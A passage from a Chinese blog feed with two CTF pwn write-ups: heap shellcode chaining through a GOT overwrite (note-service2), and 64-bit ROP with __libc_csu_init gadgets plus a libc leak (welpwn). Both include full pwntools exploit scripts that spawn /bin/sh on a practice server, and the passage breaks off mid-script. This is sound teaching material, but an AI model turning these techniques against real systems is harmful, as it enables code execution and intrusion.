<content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>目前CTF竞赛中,以堆为背景的pwn题已逐步成为了pwn类型题目中的主流,开始逐步接触堆题,本题涉及到在堆上布置shellcode,并利用堆指针使程序执行流得到控制。</p><h2 id="思路分析"><a href="#思路分析" class="headerlink" title="思路分析"></a>思路分析</h2><h3 id="0x00-检查保护机制"><a href="#0x00-检查保护机制" class="headerlink" title="0x00.检查保护机制"></a>0x00.检查保护机制</h3><p><img src="https://img-blog.csdnimg.cn/20200318115718392.jpg" alt=""></p><pre><code>Canary found:不能用溢出的方式控制程序执行NX disabled:堆栈上数据可执行PIE enabled:地址随机化开启</code></pre><h3 id="0x01-查看程序功能"><a href="#0x01-查看程序功能" class="headerlink" title="0x01.查看程序功能"></a>0x01.查看程序功能</h3><p><img src="https://img-blog.csdnimg.cn/20200318120153273.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt=""></p><blockquote><p>一个简单的菜单题,add 和 del可以用,show和edit功能不可用</p></blockquote><h3 id="0x02-ida查看逻辑"><a href="#0x02-ida查看逻辑" class="headerlink" title="0x02.ida查看逻辑"></a>0x02.ida查看逻辑</h3><p><img src="https://img-blog.csdnimg.cn/2020031812100961.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt=""><br><img src="https://img-blog.csdnimg.cn/20200318121121612.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt=""><br>获得以下信息:</p><ul><li><strong>堆块最大为8字节,但是我们只能写入7字节的数据</strong></li><li><strong>堆指针的下标可以越界</strong><h3 id="0x03-利用思路"><a href="#0x03-利用思路" class="headerlink" title="0x03.利用思路"></a>0x03.利用思路</h3></li></ul><blockquote><p>(1)通过堆指针越界,把一些GOT表表项替换成堆指针<br>(2)因为NX 关闭,堆栈数据可以执行,直接在堆栈上布置shellcode<br>(3)每个堆块可以写入7个字节的数据,3个字节留作布置jmp short xxx(jmp short占两个字节,对应的机器码是\xeb,xxx对应1字节,且jmp short xxx是相对当前位置寻址),4个字节用于布置shellcode。<br>(4)要把shellcode分开布置在多个堆块上面。</p></blockquote><p>jmp short xxx 中,<strong>xxx=目标地址-当前地址-2</strong></p><h2 id="利用过程"><a href="#利用过程" class="headerlink" title="利用过程"></a>利用过程</h2><h3 id="0x00-选一段shellcode布置在堆上"><a href="#0x00-选一段shellcode布置在堆上" class="headerlink" title="0x00.选一段shellcode布置在堆上"></a>0x00.选一段shellcode布置在堆上</h3><pre><code>mov rdi, xxx //xxx=&("/bin/sh") xor rsi,rsi //rsi=0,实际可以是mov rsi, 0 但是mov这个命令太长了。下同。占2字节mov rax, 0x3b //rax=0x3b 占4字节xor rdx,rdx //rdx=0 占2字节syscall //就是syscall调用execve("/bin/sh",0,0)</code></pre><p><strong>jmp short 占2个字节<br>jmp short xxx占3个字节</strong></p><h3 id="0x01-计算jmp-short指令要跳多少字节"><a href="#0x01-计算jmp-short指令要跳多少字节" class="headerlink" title="0x01.计算jmp short指令要跳多少字节"></a>0x01.计算jmp short指令要跳多少字节</h3><p><img src="https://img-blog.csdnimg.cn/20200318122408317.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt=""><br>从chunk0跳到chunk1,<br>==目标地址-当前地址=8+8+8+1+2=0x1B==<br>==xxx=0x1B-2=0x19==<br>即从当前chunk的jmp区跳到下一个chunk的data区,距离是0x19<br><strong>jmp short 0x19转换成机器码是 \xeb\x19</strong></p><h3 id="0x02-shellcode转换为asm格式"><a href="#0x02-shellcode转换为asm格式" class="headerlink" title="0x02.shellcode转换为asm格式"></a>0x02.shellcode转换为asm格式</h3><pre><code>asm("xor rsi,rsi")+"\x90\x90\xeb\x19"asm("mov rax,0x3b")+"\xeb\x19"asm("xor rdx,rdx")+"\x90\x90\xeb\x19"asm("syscall").ljust(7,"\x90")</code></pre><p><strong>我们无法写出 asm(“mov rdi,&(“/bin/sh”)”)这样的指令</strong>,<strong>即不能把”/bin/sh”的地址直接传给rdi</strong></p><h3 id="0x03-通过64位传参机制把-amp-“-bin-sh”-传到rdi"><a href="#0x03-通过64位传参机制把-amp-“-bin-sh”-传到rdi" class="headerlink" title="0x03.通过64位传参机制把&(“/bin/sh”)传到rdi"></a>0x03.通过64位传参机制把&(“/bin/sh”)传到rdi</h3><p>==由0x02知,我们不能直接把”/bin/sh”的地址给rdi==<br><strong>解决办法:</strong></p><ul><li>申请一个堆块A,把”/bin/sh”写到A上</li><li>调用free函数,把堆块A的内容(即”/bin/sh”地址)当作free函数的参数,因为第一个参数会传到rdi里面去,这样,rdi=&(“/bin/sh”)</li><li>修改free函数的got表,使调用free函数之后的程序流转到我们布置shellcode的堆块上,依次执行shellcode<h3 id="0x04-计算free的got地址和堆数组静态地址的距离"><a href="#0x04-计算free的got地址和堆数组静态地址的距离" class="headerlink" title="0x04.计算free的got地址和堆数组静态地址的距离"></a>0x04.计算free的got地址和堆数组静态地址的距离</h3><img src="https://img-blog.csdnimg.cn/20200318124128459.png" alt=""><br><img src="https://img-blog.csdnimg.cn/20200318125038841.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt=""><br>数组到free的got表的距离:<code>0x2020A0-0x202018=0x88</code><br><strong>0x88/8=17字节</strong><br><strong>即数组下标减17就来到了free的got表地址</strong></li></ul><h3 id="0x05-尝试写exp:"><a href="#0x05-尝试写exp:" class="headerlink" title="0x05. 尝试写exp:"></a>0x05. 尝试写exp:</h3><pre class="line-numbers language-python"><code class="language-python"><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span>r<span class="token operator">=</span>remote<span class="token punctuation">(</span><span class="token string">"111.198.29.45"</span><span class="token punctuation">,</span><span class="token number">48323</span><span class="token punctuation">)</span>context<span class="token punctuation">(</span>log_level<span class="token operator">=</span><span class="token string">'debug'</span><span class="token punctuation">,</span>arch<span class="token operator">=</span><span class="token string">'amd64'</span><span class="token punctuation">,</span>os<span class="token operator">=</span><span class="token string">'linux'</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">add</span><span class="token punctuation">(</span>index<span class="token punctuation">,</span>content<span class="token punctuation">)</span><span class="token punctuation">:</span> r<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">"your choice>>"</span><span class="token punctuation">)</span> r<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token string">"1"</span><span class="token punctuation">)</span> r<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">"index:"</span><span class="token punctuation">)</span> r<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>str<span class="token punctuation">(</span>index<span class="token punctuation">)</span><span class="token punctuation">)</span> r<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">"size:"</span><span class="token punctuation">)</span> r<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token string">"8"</span><span class="token punctuation">)</span> r<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">"content:"</span><span class="token punctuation">)</span> r<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>content<span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">del</span><span class="token punctuation">(</span>index<span class="token punctuation">)</span><span class="token punctuation">:</span> r<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">"your choice>>"</span><span class="token punctuation">)</span> r<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token string">"4"</span><span class="token punctuation">)</span> r<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">"index:"</span><span class="token punctuation">)</span> r<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>str<span class="token punctuation">(</span>index<span class="token punctuation">)</span><span class="token punctuation">)</span>add<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token string">"/bin/sh"</span><span class="token punctuation">)</span> <span class="token operator">//</span>申请堆块写入<span class="token string">'/bin/sh'</span>add<span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">17</span><span class="token punctuation">,</span>asm<span class="token punctuation">(</span><span class="token string">"xor rsi,rsi"</span><span class="token punctuation">)</span><span class="token operator">+</span><span class="token string">"\x90\x90\xeb\x19"</span><span class="token punctuation">)</span> <span class="token operator">//</span>传入<span class="token operator">&</span><span class="token punctuation">(</span><span class="token string">'/bin/sh'</span><span class="token punctuation">)</span>并改写got表add<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span>asm<span class="token punctuation">(</span><span class="token string">"mov eax,0x3b"</span><span class="token punctuation">)</span><span class="token operator">+</span><span class="token string">"\xeb\x19"</span><span class="token punctuation">)</span>add<span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span>asm<span class="token punctuation">(</span><span class="token string">"xor rdx,rdx"</span><span class="token punctuation">)</span><span class="token operator">+</span><span class="token string">"\x90\x90\xeb\x19"</span><span class="token punctuation">)</span>add<span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">,</span>asm<span class="token punctuation">(</span><span class="token string">"syscall"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">7</span><span class="token punctuation">,</span><span class="token string">"\x90"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">//</span>系统调用<span class="token keyword">del</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">//</span>这一步我觉得应该是给syscall传参r<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><strong>参考blog:</strong><br><a href="https://blog.csdn.net/qq_42728977/article/details/103914342" target="_blank" rel="noopener">攻防世界pwn之note-service</a><br><a href="https://blog.csdn.net/seaaseesa/article/details/103003167" target="_blank" rel="noopener">攻防世界PWN之note-service2题解</a></p><script> document.querySelectorAll('.github-emoji') .forEach(el => { if (!el.dataset.src) { return; } const img = document.createElement('img'); img.style = 'display:none !important;'; img.src = el.dataset.src; img.addEventListener('error', () => { img.remove(); el.style.color = 'inherit'; el.style.backgroundImage = 'none'; el.style.background = 'none'; }); img.addEventListener('load', () => { img.remove(); }); document.body.appendChild(img); }); </script>]]></content>
<categories>
<category> pwn </category>
</categories>
<tags>
<tag> heap </tag>
</tags>
</entry>
<entry>
<title>深入探究64位rop链构造,wp中常见的万能gadgets详解_ 攻防世界pwn进阶区welpwn</title>
<link href="/2020/03/21/rop/"/>
<url>/2020/03/21/rop/</url>
<content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>这一题做的时间跨度比较长了,断断续续做了一天多,然后尝试了两种方式,一种是DynELF泄露system地址,还有一种是利用python的LibcSearcher模块得到libc偏移再进一步获取system的libc地址。</p><h2 id="思路分析"><a href="#思路分析" class="headerlink" title="思路分析"></a>思路分析</h2><h3 id="0x00-检查保护机制"><a href="#0x00-检查保护机制" class="headerlink" title="0x00.检查保护机制"></a>0x00.检查保护机制</h3><p><img src="https://img-blog.csdnimg.cn/20200320190823909.jpg" alt=""><br><strong>感觉是栈溢出然后构造ROP来getshell。</strong></p><h3 id="0x01-找到溢出点"><a href="#0x01-找到溢出点" class="headerlink" title="0x01.找到溢出点"></a>0x01.找到溢出点</h3><p><img src="https://img-blog.csdnimg.cn/20200320191121171.jpg" alt=""><br><img src="https://img-blog.csdnimg.cn/20200320191156122.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt=""><br>read函数是不能溢出的,进echo函数查看,发现echo函数开辟的大小只有0x20,<strong>但是buf可以写入的有0x400字节,buf复制到echo,显然可以发生溢出。</strong><br><strong>利用cyclic计算得出溢出需要24字节。</strong></p><h3 id="0x02-跳过echo在buf上构造rop"><a href="#0x02-跳过echo在buf上构造rop" class="headerlink" title="0x02.跳过echo在buf上构造rop"></a>0x02.跳过echo在buf上构造rop</h3><p>我们可以发现在echo函数内部,有一个循环判断,a1[i]!=’\x00’,否则会发生截断。但是构造rop需要传递地址,一般都会有’\x00’存在,故不能直接构造rop。<br><img src="https://img-blog.csdnimg.cn/20200320191852756.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt=""><br><img src="https://img-blog.csdnimg.cn/20200320191908900.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt=""></p><pre><code>ida查看echo函数的结束地址之后就是read(&buf)的地址。又因为echo开辟的空间是0x20,故echo开始处跳0x20个字节即能到buf处。buf上有0x400大小可以布置ROP。一次rop是8字节,找一个gadget执行四次pop即可。</code></pre><h3 id="0x03-选择合适的gadgets"><a href="#0x03-选择合适的gadgets" class="headerlink" title="0x03.选择合适的gadgets"></a>0x03.选择合适的gadgets</h3><p><img src="https://img-blog.csdnimg.cn/2020032019213157.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt=""></p><pre class="line-numbers language-yaml"><code class="language-yaml">pop4_addr=0x40089c<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h3 id="0x04-万能的通用gadgets"><a href="#0x04-万能的通用gadgets" class="headerlink" title="0x04.万能的通用gadgets"></a>0x04.万能的通用gadgets</h3><blockquote><p>剩下的ROP链可以用通用gadgets来实现。<br>这里涉及到X64下面的一些万能gadgets,原因在于__libc_csu_init()函数。<br>一般来说,只要程序调用了libc.so,程序都会有这个函数用来对libc进行初始化操作。</p></blockquote><p><strong>汇编代码如下:</strong></p><pre><code> 400606: 48 8b 5c 24 08 mov 0x8(%rsp),%rbx 40060b: 48 8b 6c 24 10 mov 0x10(%rsp),%rbp 400610: 4c 8b 64 24 18 mov 0x18(%rsp),%r12 400615: 4c 8b 6c 24 20 mov 0x20(%rsp),%r13 40061a: 4c 8b 74 24 28 mov 0x28(%rsp),%r14 40061f: 4c 8b 7c 24 30 mov 0x30(%rsp),%r15</code></pre><pre><code> 4005f0: 4c 89 fa mov %r15,%rdx 4005f3: 4c 89 f6 mov %r14,%rsi 4005f6: 44 89 ef mov %r13d,%edi 4005f9: 41 ff 14 dc callq *(%r12,%rbx,8)</code></pre><blockquote><p>我们可以看到利用0x400606处的代码我们可以控制rbx,rbp,r12,r13,r14和r15的值,随后利用0x4005f0处的代码我们将r15的值赋值给rdx, r14的值赋值给rsi,r13的值赋值给edi,随后就会调用call qword ptr [r12+rbx<em>8]。这时候我们只要再将rbx的值赋值为0,再通过精心构造栈上的数据,我们就可以控制pc去调用我们想要调用的函数了(比如说write函数)。执行完call qword ptr [r12+rbx</em>8]之后,程序会对rbx+=1,然后对比rbp和rbx的值,如果相等就会继续向下执行并ret到我们想要继续执行的地址。所以为了让rbp和rbx的值相等,我们可以将rbp的值设置为1,因为之前已经将rbx的值设置为0了。大概思路就是这样,我们下来构造ROP链。</p></blockquote><p><strong>call system(“/bin/sh”)</strong></p><pre class="line-numbers language-python"><code class="language-python"><span class="token comment" spellcheck="true">#!bash</span><span class="token comment" spellcheck="true">#rdi= edi = r13, rsi = r14, rdx = r15 </span><span class="token comment" spellcheck="true">#system(rdi = bss_addr+8 = "/bin/sh")</span>payload3 <span class="token operator">=</span> <span class="token string">"\x00"</span><span class="token operator">*</span><span class="token number">136</span>payload3 <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0x400606</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span>p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>bss_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>bss_addr<span class="token operator">+</span><span class="token number">8</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token comment" spellcheck="true"># pop_junk_rbx_rbp_r12_r13_r14_r15_ret</span>payload3 <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0x4005F0</span><span class="token punctuation">)</span> <span class="token comment" spellcheck="true"># mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]</span>payload3 <span class="token operator">+=</span> <span class="token string">"\x00"</span><span class="token operator">*</span><span class="token number">56</span>payload3 <span class="token operator">+=</span> p64<span class="token punctuation">(</span>main<span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><strong>参考blog:</strong><a href="http://www.vuln.cn/6644" target="_blank" rel="noopener">蒸米-一步一步学ROP之x64</a><br><strong>实例运用:</strong><a href="https://blog.csdn.net/weixin_43092232/article/details/104906434" target="_blank" rel="noopener">64位程序rop链构造</a></p><h2 id="利用过程"><a href="#利用过程" class="headerlink" title="利用过程"></a>利用过程</h2><h3 id="使用DynELF"><a href="#使用DynELF" class="headerlink" title="使用DynELF"></a>使用DynELF</h3><pre class="line-numbers language-python"><code class="language-python"><span class="token comment" spellcheck="true"># -.- coding=UTF-8 -.-</span><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span>context<span class="token punctuation">(</span>log_level<span class="token operator">=</span><span class="token string">'debug'</span><span class="token punctuation">,</span>arch<span class="token operator">=</span><span class="token string">'amd64'</span><span class="token punctuation">,</span>os<span class="token operator">=</span><span class="token string">'linux'</span><span class="token punctuation">)</span>r <span class="token operator">=</span> remote<span class="token punctuation">(</span><span class="token string">"111.198.29.45"</span><span class="token punctuation">,</span><span class="token number">48359</span><span class="token punctuation">)</span>elf<span class="token operator">=</span>ELF<span class="token punctuation">(</span><span class="token string">'./welpwn'</span><span class="token punctuation">)</span>pop4_addr <span class="token operator">=</span> <span class="token number">0x40089c</span> <span class="token comment" spellcheck="true">#跳过echo</span>pop6_addr <span class="token operator">=</span> <span class="token number">0x40089a</span> <span class="token comment" spellcheck="true">#pop rbx,rbp,r12,r13,r14,r15;ret;</span>rop2_addr <span class="token operator">=</span> <span class="token number">0x400880</span> <span class="token comment" spellcheck="true">#mov rdx,r15;mov rdi,r14;mov edi,r13;</span>start_addr <span class="token operator">=</span> <span class="token number">0x400630</span>write_got <span class="token operator">=</span> elf<span class="token punctuation">.</span>got<span class="token punctuation">[</span><span class="token string">'write'</span><span class="token punctuation">]</span>bss_addr <span class="token operator">=</span> elf<span class="token punctuation">.</span>bss<span class="token punctuation">(</span><span class="token punctuation">)</span>read_got <span class="token operator">=</span> elf<span class="token punctuation">.</span>got<span class="token punctuation">[</span><span class="token string">'read'</span><span class="token punctuation">]</span>pop_rdi <span class="token operator">=</span> <span class="token number">0x4008a3</span> <span class="token comment" spellcheck="true">#pop rdi;ret</span><span class="token keyword">def</span> <span class="token function">leak</span><span class="token punctuation">(</span>address<span class="token punctuation">)</span><span class="token punctuation">:</span> r<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token comment" spellcheck="true">#先接收一次</span> payload <span class="token operator">=</span> <span class="token string">"A"</span><span class="token operator">*</span><span class="token number">24</span> <span class="token comment" spellcheck="true">#junk</span> payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>pop4_addr<span class="token punctuation">)</span><span class="token operator">+</span>p64<span class="token punctuation">(</span>pop6_addr<span class="token punctuation">)</span><span class="token operator">+</span>p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token operator">+</span>p64<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token operator">+</span>p64<span class="token punctuation">(</span>write_got<span class="token punctuation">)</span><span class="token operator">+</span>p64<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span> payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>address<span class="token punctuation">)</span><span class="token operator">+</span>p64<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token comment" spellcheck="true">#通过write函数泄露 pop r14,r15;</span> payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>rop2_addr<span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#write(1,address,8)</span> payload <span class="token operator">+=</span> <span class="token string">"A"</span><span class="token operator">*</span><span class="token number">56</span><span class="token operator">+</span>p64<span class="token punctuation">(</span>start_addr<span class="token punctuation">)</span><span class="token comment" spellcheck="true">#start调整栈帧</span> payload <span class="token operator">=</span> payload<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">1024</span><span class="token punctuation">,</span><span class="token string">"B"</span><span class="token punctuation">)</span><span class="token comment" spellcheck="true">#回到main函数</span> r<span class="token punctuation">.</span>send<span class="token punctuation">(</span>payload<span class="token punctuation">)</span> data <span class="token operator">=</span> r<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span> log<span class="token punctuation">.</span>info<span class="token punctuation">(</span><span class="token string">"%# x => %s "</span> <span class="token operator">%</span> <span class="token punctuation">(</span>address<span class="token punctuation">,</span><span class="token punctuation">(</span>data <span class="token operator">or</span> <span class="token string">''</span><span class="token punctuation">)</span><span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token string">'hex'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">return</span> datadyn <span class="token operator">=</span> DynELF<span class="token punctuation">(</span>leak<span class="token punctuation">,</span>elf<span class="token operator">=</span>ELF<span class="token punctuation">(</span><span class="token string">'./welpwn'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>system_addr <span class="token operator">=</span> dyn<span class="token punctuation">.</span>lookup<span class="token punctuation">(</span><span class="token string">'system'</span><span class="token punctuation">,</span><span class="token string">'libc'</span><span class="token punctuation">)</span><span class="token comment" spellcheck="true">#写入/bin/sh</span>payload1 <span class="token operator">=</span> <span class="token string">"A"</span><span class="token operator">*</span><span class="token number">24</span>payload1 <span class="token operator">+=</span> p64<span class="token punctuation">(</span>pop4_addr<span class="token punctuation">)</span><span class="token operator">+</span>p64<span class="token punctuation">(</span>pop6_addr<span class="token punctuation">)</span><span class="token operator">+</span>p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token operator">+</span>p64<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token operator">+</span>p64<span class="token punctuation">(</span>read_got<span class="token punctuation">)</span><span class="token operator">+</span>p64<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span>payload1 <span class="token operator">+=</span> p64<span class="token punctuation">(</span>bss_addr<span class="token punctuation">)</span><span class="token operator">+</span>p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#read(0,bss_addr,8)</span>payload1 <span class="token operator">+=</span> p64<span class="token punctuation">(</span>rop2_addr<span class="token punctuation">)</span> payload1 <span class="token operator">+=</span> <span class="token string">"A"</span><span class="token operator">*</span><span class="token number">56</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>pop_rdi<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>bss_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>system_addr<span class="token punctuation">)</span><span class="token operator">+</span>p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> 执行system<span class="token punctuation">(</span><span class="token string">'bss_addr'</span><span class="token punctuation">)</span>payload1 <span class="token operator">=</span> payload1<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">1024</span><span class="token punctuation">,</span><span class="token string">"B"</span><span class="token punctuation">)</span>r<span class="token punctuation">.</span>send<span class="token punctuation">(</span>payload1<span class="token punctuation">)</span>r<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token string">"/bin/sh"</span><span class="token punctuation">)</span><span class="token comment" spellcheck="true">#把'/bin/sh'写到bss_addr</span>r<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="使用LibcSearcher"><a href="#使用LibcSearcher" class="headerlink" title="使用LibcSearcher"></a>使用LibcSearcher</h3><p><strong>使用write_addr-libc.dump(‘write’)计算出libc_off地址<br>再由libc_off+libc.dump(‘system’)计算出system_addr</strong></p><pre class="line-numbers language-python"><code class="language-python"><span class="token comment" spellcheck="true"># -.-coding=UTF-8 -.-</span><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span>context<span class="token punctuation">(</span>log_level<span class="token operator">=</span><span class="token string">'debug'</span><span class="token punctuation">,</span>arch<span class="token operator">=</span><span class="token string">'amd64'</span><span class="token punctuation">,</span>os<span class="token operator">=</span><span class="token string">'linux'</span><span class="token punctuation">)</span>r <span class="token operator">=</span> remote<span class="token punctuation">(</span><span class="token string">"111.198.29.45"</span><span class="token punctuation">,</span><span class="token number">48359</span><span class="token punctuation">)</span>elf <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">'./welpwn'</span><span class="token punctuation">)</span>pop4_addr <span class="token operator">=</span> <span class="token number">0x40089c</span>pop6_addr <span class="token operator">=</span> <span class="token number">0x40089a</span>rop2_addr <span class="token operator">=</span> <span class="token number">0x400880</span>start_addr <span class="token operator">=</span> <span class="token number">0x400630</span>write_got <span class="token operator">=</span> elf<span class="token punctuation">.</span>got<span class="token punctuation">[</span><span class="token string">'write'</span><span class="token punctuation">]</span>puts_addr <span class="token operator">=</span> elf<span class="token punctuation">.</span>plt<span class="token punctuation">[</span><span class="token string">'puts'</span><span class="token punctuation">]</span><span class="token comment" spellcheck="true">#bss_addr = elf.bss()</span>read_got <span class="token operator">=</span> elf<span class="token punctuation">.</span>got<span class="token punctuation">[</span><span class="token string">'read'</span><span class="token punctuation">]</span>pop_rdi <span class="token operator">=</span> <span class="token number">0x4008a3</span> <span class="token comment" spellcheck="true">#pop rdi;ret</span>main_addr <span class="token operator">=</span> <span class="token number">0x4007CD</span>r<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token number">1024</span><span class="token punctuation">)</span><span class="token comment" spellcheck="true">#计算libc_off</span>payload <span class="token operator">=</span> <span class="token string">"A"</span><span class="token operator">*</span><span class="token number">24</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>pop4_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>pop6_addr<span class="token punctuation">)</span> <span class="token operator">+</span>p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token operator">+</span>p64<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token operator">+</span>p64<span class="token punctuation">(</span>write_got<span class="token punctuation">)</span><span class="token operator">+</span>p64<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token comment" spellcheck="true">#pop rbx,rbp,r12,r13,r14,r15</span>payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>write_got<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token comment" spellcheck="true">#通过write函数来泄露write_addr</span>payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>rop2_addr<span class="token punctuation">)</span><span class="token operator">+</span><span class="token string">"A"</span><span class="token operator">*</span><span class="token number">56</span> <span class="token operator">+</span>p64<span class="token punctuation">(</span>start_addr<span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#调用start函数调整栈帧</span>payload <span class="token operator">=</span> payload<span 